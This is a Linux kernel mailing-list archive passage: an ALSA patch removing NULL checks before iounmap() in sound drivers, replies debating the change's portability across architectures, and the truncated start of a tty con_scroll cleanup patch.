> @@ -541,10 +541,8 @@ void asihpi_adapter_remove(struct pci_dev *pci_dev)
>  	hpi_send_recv_ex(&hm, &hr, HOWNER_KERNEL);
>  
>  	/* unmap PCI memory space, mapped during device init. */
> -	for (idx = 0; idx < HPI_MAX_ADAPTER_MEM_SPACES; idx++) {
> -		if (pci.ap_mem_base[idx])
> -			iounmap(pci.ap_mem_base[idx]);
> -	}
> +	for (idx = 0; idx < HPI_MAX_ADAPTER_MEM_SPACES; ++idx)
> +		iounmap(pci.ap_mem_base[idx]);
>  
>  	if (pa->irq)
>  		free_irq(pa->irq, pa);
> diff --git a/sound/pci/atiixp.c b/sound/pci/atiixp.c
> index 9c1c445..d24188f 100644
> --- a/sound/pci/atiixp.c
> +++ b/sound/pci/atiixp.c
> @@ -1585,8 +1585,7 @@ static int snd_atiixp_free(struct atiixp *chip)
>        __hw_end:
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, chip);
> -	if (chip->remap_addr)
> -		iounmap(chip->remap_addr);
> +	iounmap(chip->remap_addr);
>  	pci_release_regions(chip->pci);
>  	pci_disable_device(chip->pci);
>  	kfree(chip);
> diff --git a/sound/pci/atiixp_modem.c b/sound/pci/atiixp_modem.c
> index b2f63e0..c321a97 100644
> --- a/sound/pci/atiixp_modem.c
> +++ b/sound/pci/atiixp_modem.c
> @@ -1211,8 +1211,7 @@ static int snd_atiixp_free(struct atiixp_modem *chip)
>        __hw_end:
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, chip);
> -	if (chip->remap_addr)
> -		iounmap(chip->remap_addr);
> +	iounmap(chip->remap_addr);
>  	pci_release_regions(chip->pci);
>  	pci_disable_device(chip->pci);
>  	kfree(chip);
> diff --git a/sound/pci/aw2/aw2-alsa.c b/sound/pci/aw2/aw2-alsa.c
> index e1cf019..8d2fee7 100644
> --- a/sound/pci/aw2/aw2-alsa.c
> +++ b/sound/pci/aw2/aw2-alsa.c
> @@ -229,9 +229,7 @@ static int snd_aw2_dev_free(struct snd_device *device)
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, (void *)chip);
>  	/* release the i/o ports & memory */
> -	if (chip->iobase_virt)
> -		iounmap(chip->iobase_virt);
> -
> +	iounmap(chip->iobase_virt);
>  	pci_release_regions(chip->pci);
>  	/* disable the PCI entry */
>  	pci_disable_device(chip->pci);
> diff --git a/sound/pci/bt87x.c b/sound/pci/bt87x.c
> index 058b997..e82ceac 100644
> --- a/sound/pci/bt87x.c
> +++ b/sound/pci/bt87x.c
> @@ -690,8 +690,7 @@ static int snd_bt87x_free(struct snd_bt87x *chip)
>  		snd_bt87x_stop(chip);
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, chip);
> -	if (chip->mmio)
> -		iounmap(chip->mmio);
> +	iounmap(chip->mmio);
>  	pci_release_regions(chip->pci);
>  	pci_disable_device(chip->pci);
>  	kfree(chip);
> diff --git a/sound/pci/cs4281.c b/sound/pci/cs4281.c
> index 05a4337..ea33911 100644
> --- a/sound/pci/cs4281.c
> +++ b/sound/pci/cs4281.c
> @@ -1316,10 +1316,8 @@ static int snd_cs4281_free(struct cs4281 *chip)
>  
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, chip);
> -	if (chip->ba0)
> -		iounmap(chip->ba0);
> -	if (chip->ba1)
> -		iounmap(chip->ba1);
> +	iounmap(chip->ba0);
> +	iounmap(chip->ba1);
>  	pci_release_regions(chip->pci);
>  	pci_disable_device(chip->pci);
>  
> diff --git a/sound/pci/cs46xx/cs46xx_lib.c b/sound/pci/cs46xx/cs46xx_lib.c
> index dfec84e..128bbfe 100644
> --- a/sound/pci/cs46xx/cs46xx_lib.c
> +++ b/sound/pci/cs46xx/cs46xx_lib.c
> @@ -2949,8 +2949,8 @@ static int snd_cs46xx_free(struct snd_cs46xx *chip)
>  
>  	for (idx = 0; idx < 5; idx++) {
>  		struct snd_cs46xx_region *region = &chip->region.idx[idx];
> -		if (region->remap_addr)
> -			iounmap(region->remap_addr);
> +
> +		iounmap(region->remap_addr);
>  		release_and_free_resource(region->resource);
>  	}
>  
> diff --git a/sound/pci/ctxfi/cthw20k1.c b/sound/pci/ctxfi/cthw20k1.c
> index b425aa8..b8b0d8e 100644
> --- a/sound/pci/ctxfi/cthw20k1.c
> +++ b/sound/pci/ctxfi/cthw20k1.c
> @@ -1985,10 +1985,7 @@ static int hw_card_shutdown(struct hw *hw)
>  		free_irq(hw->irq, hw);
>  
>  	hw->irq	= -1;
> -
> -	if (hw->mem_base)
> -		iounmap(hw->mem_base);
> -
> +	iounmap(hw->mem_base);
>  	hw->mem_base = NULL;
>  
>  	if (hw->io_base)
> diff --git a/sound/pci/ctxfi/cthw20k2.c b/sound/pci/ctxfi/cthw20k2.c
> index 253899d..4e16b4d 100644
> --- a/sound/pci/ctxfi/cthw20k2.c
> +++ b/sound/pci/ctxfi/cthw20k2.c
> @@ -2110,10 +2110,7 @@ static int hw_card_shutdown(struct hw *hw)
>  		free_irq(hw->irq, hw);
>  
>  	hw->irq	= -1;
> -
> -	if (hw->mem_base)
> -		iounmap(hw->mem_base);
> -
> +	iounmap(hw->mem_base);
>  	hw->mem_base = NULL;
>  
>  	if (hw->io_base)
> diff --git a/sound/pci/echoaudio/echoaudio.c b/sound/pci/echoaudio/echoaudio.c
> index 21228ad..98d4f35 100644
> --- a/sound/pci/echoaudio/echoaudio.c
> +++ b/sound/pci/echoaudio/echoaudio.c
> @@ -1872,12 +1872,8 @@ static int snd_echo_free(struct echoaudio *chip)
>  	if (chip->comm_page)
>  		snd_dma_free_pages(&chip->commpage_dma_buf);
>  
> -	if (chip->dsp_registers)
> -		iounmap(chip->dsp_registers);
> -
> +	iounmap(chip->dsp_registers);
>  	release_and_free_resource(chip->iores);
> -
> -
>  	pci_disable_device(chip->pci);
>  
>  	/* release chip data */
> diff --git a/sound/pci/hda/hda_intel.c b/sound/pci/hda/hda_intel.c
> index d426a0b..a971425 100644
> --- a/sound/pci/hda/hda_intel.c
> +++ b/sound/pci/hda/hda_intel.c
> @@ -1138,8 +1138,7 @@ static int azx_free(struct azx *chip)
>  		free_irq(chip->irq, (void*)chip);
>  	if (chip->msi)
>  		pci_disable_msi(chip->pci);
> -	if (chip->remap_addr)
> -		iounmap(chip->remap_addr);
> +	iounmap(chip->remap_addr);
>  
>  	azx_free_stream_pages(chip);
>  	if (chip->region_requested)
> diff --git a/sound/pci/lola/lola.c b/sound/pci/lola/lola.c
> index 4cf4be5..9ff60008 100644
> --- a/sound/pci/lola/lola.c
> +++ b/sound/pci/lola/lola.c
> @@ -551,10 +551,8 @@ static void lola_free(struct lola *chip)
>  	lola_free_mixer(chip);
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, (void *)chip);
> -	if (chip->bar[0].remap_addr)
> -		iounmap(chip->bar[0].remap_addr);
> -	if (chip->bar[1].remap_addr)
> -		iounmap(chip->bar[1].remap_addr);
> +	iounmap(chip->bar[0].remap_addr);
> +	iounmap(chip->bar[1].remap_addr);
>  	if (chip->rb.area)
>  		snd_dma_free_pages(&chip->rb);
>  	pci_release_regions(chip->pci);
> diff --git a/sound/pci/mixart/mixart.c b/sound/pci/mixart/mixart.c
> index 1faf47e..c3a9f39 100644
> --- a/sound/pci/mixart/mixart.c
> +++ b/sound/pci/mixart/mixart.c
> @@ -1114,10 +1114,9 @@ static int snd_mixart_free(struct mixart_mgr *mgr)
>  	}
>  
>  	/* release the i/o ports */
> -	for (i = 0; i < 2; i++) {
> -		if (mgr->mem[i].virt)
> -			iounmap(mgr->mem[i].virt);
> -	}
> +	for (i = 0; i < 2; ++i)
> +		iounmap(mgr->mem[i].virt);
> +
>  	pci_release_regions(mgr->pci);
>  
>  	/* free flowarray */
> diff --git a/sound/pci/nm256/nm256.c b/sound/pci/nm256/nm256.c
> index 4e41a4e..3f52a44 100644
> --- a/sound/pci/nm256/nm256.c
> +++ b/sound/pci/nm256/nm256.c
> @@ -1460,10 +1460,8 @@ static int snd_nm256_free(struct nm256 *chip)
>  	if (chip->irq >= 0)
>  		free_irq(chip->irq, chip);
>  
> -	if (chip->cport)
> -		iounmap(chip->cport);
> -	if (chip->buffer)
> -		iounmap(chip->buffer);
> +	iounmap(chip->cport);
> +	iounmap(chip->buffer);
>  	release_and_free_resource(chip->res_cport);
>  	release_and_free_resource(chip->res_buffer);
>  
> diff --git a/sound/pci/rme9652/hdsp.c b/sound/pci/rme9652/hdsp.c
> index cf5a6c8..fe66bcb 100644
> --- a/sound/pci/rme9652/hdsp.c
> +++ b/sound/pci/rme9652/hdsp.c
> @@ -5309,9 +5309,7 @@ static int snd_hdsp_free(struct hdsp *hdsp)
>  
>  	release_firmware(hdsp->firmware);
>  	vfree(hdsp->fw_uploaded);
> -
> -	if (hdsp->iobase)
> -		iounmap(hdsp->iobase);
> +	iounmap(hdsp->iobase);
>  
>  	if (hdsp->port)
>  		pci_release_regions(hdsp->pci);
> diff --git a/sound/pci/rme9652/hdspm.c b/sound/pci/rme9652/hdspm.c
> index 3342705..8109b8e 100644
> --- a/sound/pci/rme9652/hdspm.c
> +++ b/sound/pci/rme9652/hdspm.c
> @@ -6965,9 +6965,7 @@ static int snd_hdspm_free(struct hdspm * hdspm)
>  		free_irq(hdspm->irq, (void *) hdspm);
>  
>  	kfree(hdspm->mixer);
> -
> -	if (hdspm->iobase)
> -		iounmap(hdspm->iobase);
> +	iounmap(hdspm->iobase);
>  
>  	if (hdspm->port)
>  		pci_release_regions(hdspm->pci);
> diff --git a/sound/pci/rme9652/rme9652.c b/sound/pci/rme9652/rme9652.c
> index 6521521..648911c 100644
> --- a/sound/pci/rme9652/rme9652.c
> +++ b/sound/pci/rme9652/rme9652.c
> @@ -1756,8 +1756,7 @@ static int snd_rme9652_free(struct snd_rme9652 *rme9652)
>  
>  	if (rme9652->irq >= 0)
>  		free_irq(rme9652->irq, (void *)rme9652);
> -	if (rme9652->iobase)
> -		iounmap(rme9652->iobase);
> +	iounmap(rme9652->iobase);
>  	if (rme9652->port)
>  		pci_release_regions(rme9652->pci);
>  
> diff --git a/sound/pci/sis7019.c b/sound/pci/sis7019.c
> index 7f6a0a0..5e9437b 100644
> --- a/sound/pci/sis7019.c
> +++ b/sound/pci/sis7019.c
> @@ -1064,12 +1064,9 @@ static int sis_chip_free(struct sis7019 *sis)
>  	if (sis->irq >= 0)
>  		free_irq(sis->irq, sis);
>  
> -	if (sis->ioaddr)
> -		iounmap(sis->ioaddr);
> -
> +	iounmap(sis->ioaddr);
>  	pci_release_regions(sis->pci);
>  	pci_disable_device(sis->pci);
> -
>  	sis_free_suspend(sis);
>  	return 0;
>  }
> diff --git a/sound/pci/ymfpci/ymfpci_main.c b/sound/pci/ymfpci/ymfpci_main.c
> index f5581a9..de7f06f 100644
> --- a/sound/pci/ymfpci/ymfpci_main.c
> +++ b/sound/pci/ymfpci/ymfpci_main.c
> @@ -2246,8 +2246,7 @@ static int snd_ymfpci_free(struct snd_ymfpci *chip)
>  	release_and_free_resource(chip->mpu_res);
>  	release_and_free_resource(chip->fm_res);
>  	snd_ymfpci_free_gameport(chip);
> -	if (chip->reg_area_virt)
> -		iounmap(chip->reg_area_virt);
> +	iounmap(chip->reg_area_virt);
>  	if (chip->work_ptr.area)
>  		snd_dma_free_pages(&chip->work_ptr);
>  	
> diff --git a/sound/ppc/pmac.c b/sound/ppc/pmac.c
> index 5a13b22..d399df4 100644
> --- a/sound/ppc/pmac.c
> +++ b/sound/ppc/pmac.c
> @@ -867,16 +867,11 @@ static int snd_pmac_free(struct snd_pmac *chip)
>  	snd_pmac_dbdma_free(chip, &chip->capture.cmd);
>  	snd_pmac_dbdma_free(chip, &chip->extra_dma);
>  	snd_pmac_dbdma_free(chip, &emergency_dbdma);
> -	if (chip->macio_base)
> -		iounmap(chip->macio_base);
> -	if (chip->latch_base)
> -		iounmap(chip->latch_base);
> -	if (chip->awacs)
> -		iounmap(chip->awacs);
> -	if (chip->playback.dma)
> -		iounmap(chip->playback.dma);
> -	if (chip->capture.dma)
> -		iounmap(chip->capture.dma);
> +	iounmap(chip->macio_base);
> +	iounmap(chip->latch_base);
> +	iounmap(chip->awacs);
> +	iounmap(chip->playback.dma);
> +	iounmap(chip->capture.dma);
>  
>  	if (chip->node) {
>  		int i;
> -- 
> 2.2.1
> 
> --
> To unsubscribe from this list: send the line "unsubscribe kernel-janitors" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Johannes Berg <johannes@sipsolutions.net>
Newsgroups: gmane.linux.ports.ppc.embedded,gmane.linux.alsa.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors,gmane.linux.kernel
Subject: Re: [PATCH 11/13] ALSA: Deletion of checks before the function call
 "iounmap"
Date: Wed, 26 Oct 2016 14:28:59 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <1477484939.4059.35.camel@sipsolutions.net>
References: <alpine.DEB.2.10.1402251014170.2080@hadrien>
 <530CD2C4.4050903@users.sourceforge.net>
 <alpine.DEB.2.10.1402251840450.7035@hadrien>
 <530CF8FF.8080600@users.sourceforge.net>
 <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6>
 <530DD06F.4090703@users.sourceforge.net>
 <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6>
 <5317A59D.4@users.sourceforge.net> <54A9355F.4050102@users.sourceforge.net>
 <54A941C1.4020906@users.sourceforge.net> <20161026122605.GA3911@mwanda>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1477485074 21022 195.159.176.226 (26 Oct 2016 12:31:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Oct 2016 12:31:14 +0000 (UTC)
Cc: alsa-devel@alsa-project.org, Russell King <linux@arm.linux.org.uk>,
 linux-parisc@vger.kernel.org, Takashi Iwai <tiwai@suse.de>,
 kernel-janitors@vger.kernel.org, Clemens Ladisch <clemens@ladisch.de>,
 LKML <linux-kernel@vger.kernel.org>, Jaroslav Kysela <perex@perex.cz>,
 Julia Lawall <julia.lawall@lip6.fr>, Thibaut Varene <T-Bone@parisc-linux.org>,
 linuxppc-dev@lists.ozlabs.org
To: Dan Carpenter <dan.carpenter@oracle.com>, SF Markus Elfring
 <elfring@users.sourceforge.net>
Original-X-From: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org Wed Oct 26 14:31:08 2016
Return-path: <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Envelope-to: glppe-linuxppc-embedded-2@m.gmane.org
Original-Received: from lists.ozlabs.org ([103.22.144.68])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>)
	id 1bzNLw-000210-UF
	for glppe-linuxppc-embedded-2@m.gmane.org; Wed, 26 Oct 2016 14:30:45 +0200
Original-Received: from lists.ozlabs.org (lists.ozlabs.org [IPv6:2401:3900:2:1::3])
	by lists.ozlabs.org (Postfix) with ESMTP id 3t3q9y4s5qzDvHm
	for <glppe-linuxppc-embedded-2@m.gmane.org>; Wed, 26 Oct 2016 23:30:46 +1100 (AEDT)
X-Original-To: linuxppc-dev@lists.ozlabs.org
Delivered-To: linuxppc-dev@lists.ozlabs.org
Original-Received: from sipsolutions.net (s3.sipsolutions.net [5.9.151.49])
 (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits))
 (No client certificate requested)
 by lists.ozlabs.org (Postfix) with ESMTPS id 3t3q8f3CpyzDt31
 for <linuxppc-dev@lists.ozlabs.org>; Wed, 26 Oct 2016 23:29:38 +1100 (AEDT)
Original-Received: by sipsolutions.net with esmtpsa
 (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.87)
 (envelope-from <johannes@sipsolutions.net>)
 id 1bzNKH-0002hq-Hr; Wed, 26 Oct 2016 14:29:01 +0200
In-Reply-To: <20161026122605.GA3911@mwanda>
X-Mailer: Evolution 3.20.5-1 
X-BeenThere: linuxppc-dev@lists.ozlabs.org
X-Mailman-Version: 2.1.23
Precedence: list
List-Id: Linux on PowerPC Developers Mail List <linuxppc-dev.lists.ozlabs.org>
List-Unsubscribe: <https://lists.ozlabs.org/options/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=unsubscribe>
List-Archive: <http://lists.ozlabs.org/pipermail/linuxppc-dev/>
List-Post: <mailto:linuxppc-dev@lists.ozlabs.org>
List-Help: <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=help>
List-Subscribe: <https://lists.ozlabs.org/listinfo/linuxppc-dev>,
 <mailto:linuxppc-dev-request@lists.ozlabs.org?subject=subscribe>
Errors-To: linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org
Original-Sender: "Linuxppc-dev"
 <linuxppc-dev-bounces+glppe-linuxppc-embedded-2=m.gmane.org@lists.ozlabs.org>
Xref: news.gmane.org gmane.linux.ports.ppc.embedded:102801 gmane.linux.alsa.devel:160481 gmane.linux.ports.parisc:27015 gmane.linux.kernel.janitors:40872 gmane.linux.kernel:2335553
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ppc.embedded/102801>

On Wed, 2016-10-26 at 15:26 +0300, Dan Carpenter wrote:
> Someone was just mentioning in another thread that removing the check
> from iounmap() is not portable to other arches and then I remembered
> that Markus removed a bunch of these.
> 
> We should consider reverting this, perhaps?

Can't we teach all architectures? Not that reverting it would be a
problem.

johannes


From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Dan Carpenter <dan.carpenter@oracle.com>
Newsgroups: gmane.linux.kernel,gmane.linux.alsa.devel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [PATCH 11/13] ALSA: Deletion of checks before the function call
 "iounmap"
Date: Wed, 26 Oct 2016 15:42:45 +0300
Lines: 19
Approved: news@gmane.org
Message-ID: <20161026124245.GR4418@mwanda>
References: <alpine.DEB.2.10.1402251840450.7035@hadrien>
 <530CF8FF.8080600@users.sourceforge.net>
 <alpine.DEB.2.02.1402252117150.2047@localhost6.localdomain6>
 <530DD06F.4090703@users.sourceforge.net>
 <alpine.DEB.2.02.1402262129250.2221@localhost6.localdomain6>
 <5317A59D.4@users.sourceforge.net>
 <54A9355F.4050102@users.sourceforge.net>
 <54A941C1.4020906@users.sourceforge.net>
 <20161026122605.GA3911@mwanda>
 <1477484939.4059.35.camel@sipsolutions.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1477485880 7335 195.159.176.226 (26 Oct 2016 12:44:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Wed, 26 Oct 2016 12:44:40 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: SF Markus Elfring <elfring@users.sourceforge.net>,
        Jaroslav Kysela <perex@perex.cz>,
        Clemens Ladisch <clemens@ladisch.de>,
        Russell King <linux@arm.linux.org.uk>,
        Takashi Iwai <tiwai@suse.de>,
        Thibaut Varene <T-Bone@parisc-linux.org>,
        alsa-devel@alsa-project.org, linuxppc-dev@lists.ozlabs.org,
        linux-parisc@vger.kernel.org, LKML <linux-kernel@vger.kernel.org>,
        kernel-janitors@vger.kernel.org,
        Julia Lawall <julia.lawall@lip6.fr>
To: Johannes Berg <johannes@sipsolutions.net>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Oct 26 14:44:32 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1bzNZ6-00084M-8O
	for glk-linux-kernel-3@m.gmane.org; Wed, 26 Oct 2016 14:44:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1030297AbcJZMoS (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Wed, 26 Oct 2016 08:44:18 -0400
Original-Received: from userp1040.oracle.com ([156.151.31.81]:26902 "EHLO
        userp1040.oracle.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S942193AbcJZMoQ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Wed, 26 Oct 2016 08:44:16 -0400
Original-Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71])
        by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id u9QCh4k4023984
        (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=OK);
        Wed, 26 Oct 2016 12:43:04 GMT
Original-Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235])
        by userv0021.oracle.com (8.14.4/8.14.4) with ESMTP id u9QCh1NS004246
        (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK);
        Wed, 26 Oct 2016 12:43:01 GMT
Original-Received: from abhmp0015.oracle.com (abhmp0015.oracle.com [141.146.116.21])
        by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id u9QCgwxc005266;
        Wed, 26 Oct 2016 12:42:59 GMT
Original-Received: from mwanda (/41.202.241.57)
        by default (Oracle Beehive Gateway v4.0)
        with ESMTP ; Wed, 26 Oct 2016 05:42:58 -0700
Content-Disposition: inline
In-Reply-To: <1477484939.4059.35.camel@sipsolutions.net>
X-Source-IP: userv0021.oracle.com [156.151.31.71]
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2335635 gmane.linux.alsa.devel:160482 gmane.linux.ports.ppc64.devel:134484 gmane.linux.ports.parisc:27016 gmane.linux.kernel.janitors:40873
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2335635>

On Wed, Oct 26, 2016 at 02:28:59PM +0200, Johannes Berg wrote:
> On Wed, 2016-10-26 at 15:26 +0300, Dan Carpenter wrote:
> > Someone was just mentioning in another thread that removing the check
> > from iounmap() is not portable to other arches and then I remembered
> > that Markus removed a bunch of these.
> > 
> > We should consider reverting this, perhaps?
> 
> Can't we teach all architectures? Not that reverting it would be a
> problem.

We probably should.  I just didn't want to suggest it, in case it sounds
like volunteering...  I'm not going to be able to do it because I'm on
the road for a bit.

regards,
dan carpenter



From - Thu Nov 08 21:39:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
Newsgroups: gmane.linux.usb.general,gmane.linux.ports.parisc
Subject: patch "tty: vt, cleanup and document con_scroll" added to tty-testing
Date: Thu, 27 Oct 2016 16:39:06 +0200
Lines: 385
Approved: news@gmane.org
Message-ID: <1477579146164199@kroah.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ANSI_X3.4-1968
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1477579434 27862 195.159.176.226 (27 Oct 2016 14:43:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Oct 2016 14:43:54 +0000 (UTC)
To: jslaby-AlSwsSmVLrQ@public.gmane.org, deller-Mmb7MZpHnFY@public.gmane.org, gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org,
        jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org, linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
        thomas-8tQO0IXuy4gnETEX8uN03g@public.gmane.org, tomi.valkeinen-l0cyMroinI0@public.gmane.org
Original-X-From: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org Thu Oct 27 16:43:45 2016
Return-path: <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Envelope-to: glug-linux-usb@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>)
	id 1bzltv-00032W-TQ
	for glug-linux-usb@m.gmane.org; Thu, 27 Oct 2016 16:43:28 +0200
Original-Received: (majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org) by vger.kernel.org via listexpand
        id S942712AbcJ0OnX (ORCPT <rfc822;glug-linux-usb@m.gmane.org>);
        Thu, 27 Oct 2016 10:43:23 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:56100 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S934980AbcJ0OnV (ORCPT
        <rfc822;linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>); Thu, 27 Oct 2016 10:43:21 -0400
Original-Received: from localhost (unknown [104.153.224.166])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 6253C2C;
        Thu, 27 Oct 2016 14:43:06 +0000 (UTC)
Original-Sender: linux-usb-owner-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Precedence: bulk
List-ID: <linux-usb.vger.kernel.org>
X-Mailing-List: linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
Xref: news.gmane.org gmane.linux.usb.general:149577 gmane.linux.ports.parisc:27017
Archived-At: <http://permalink.gmane.org/gmane.linux.usb.general/149577>


This is a note to let you know that I've just added the patch titled

    tty: vt, cleanup and document con_scroll

to my tty git tree which can be found at
    git://git.kernel.org/pub/scm/linux/kernel/git/gregkh/tty.git
in the tty-testing branch.

The patch will show up in the next release of the linux-next tree
(usually sometime within the next 24 hours during the week.)

The patch will be merged to the tty-next branch sometime soon,
after it passes testing, and the merge window is open.

If you have any questions about this process, please let me know.


>From d705ff38189fcfbbfa6aa97363d30c23348ad166 Mon Sep 17 00:00:00 2001
From: Jiri Slaby <jslaby-AlSwsSmVLrQ@public.gmane.org>
Date: Mon, 3 Oct 2016 11:18:33 +0200
Subject: tty: vt, cleanup and document con_scroll

Scrolling helpers scrup and scrdown both accept 'top' and 'bottom' as
unsigned int. Number of lines 'nr' is accepted as int, but all callers
pass down unsigned too. So change the type of 'nr' to unsigned too.
Now, promote unsigned int from the helpers up to the con_scroll
hook which actually accepted all those as signed int.

Next, the 'dir' parameter can have only two values and we define
constants for that: SM_UP and SM_DOWN. Switch them to enum and do
proper type checking on 'dir' too.

Finally, document the behaviour of the hook.

Signed-off-by: Jiri Slaby <jslaby-AlSwsSmVLrQ@public.gmane.org>
Cc: Thomas Winischhofer <thomas-8tQO0IXuy4gnETEX8uN03g@public.gmane.org>
Cc: Tomi Valkeinen <tomi.valkeinen-l0cyMroinI0@public.gmane.org>
Cc: "James E.J. Bottomley" <jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org>
Cc: Helge Deller <deller-Mmb7MZpHnFY@public.gmane.org>
Cc: <linux-fbdev-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Cc: <linux-usb-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Cc: <linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>
Signed-off-by: Greg Kroah-Hartman <gregkh-hQyY1W1yCW8ekmWlsbkhG0B+6BGkLq7r@public.gmane.org>
---
 drivers/tty/vt/vt.c                     |  6 ++++--
 drivers/usb/misc/sisusbvga/sisusb_con.c | 18 ++++++++++--------
 drivers/video/console/fbcon.c           | 18 ++++++++----------
 drivers/video/console/mdacon.c          |  7 ++++---
 drivers/video/console/newport_con.c     |  8 ++++----
 drivers/video/console/sticon.c          |  7 ++++---
 drivers/video/console/vgacon.c          | 12 +++++-------
 include/linux/console.h                 | 16 +++++++++++-----
 8 files changed, 50 insertions(+), 42 deletions(-)

diff --git a/drivers/tty/vt/vt.c b/drivers/tty/vt/vt.c
index 06fb39c1d6dd..c4bf96fee32e 100644
--- a/drivers/tty/vt/vt.c
+++ b/drivers/tty/vt/vt.c
@@ -315,7 +315,8 @@ void schedule_console_callback(void)
 	schedule_work(&console_work);
 }
 
-static void scrup(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
+static void scrup(struct vc_data *vc, unsigned int t, unsigned int b,
+		unsigned int nr)
 {
 	unsigned short *d, *s;
 
@@ -332,7 +333,8 @@ static void scrup(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
 		    vc->vc_size_row * nr);
 }
 
-static void scrdown(struct vc_data *vc, unsigned int t, unsigned int b, int nr)
+static void scrdown(struct vc_data *vc, unsigned int t, unsigned int b,
+		unsigned int nr)
 {
 	unsigned short *s;
 	unsigned int step;
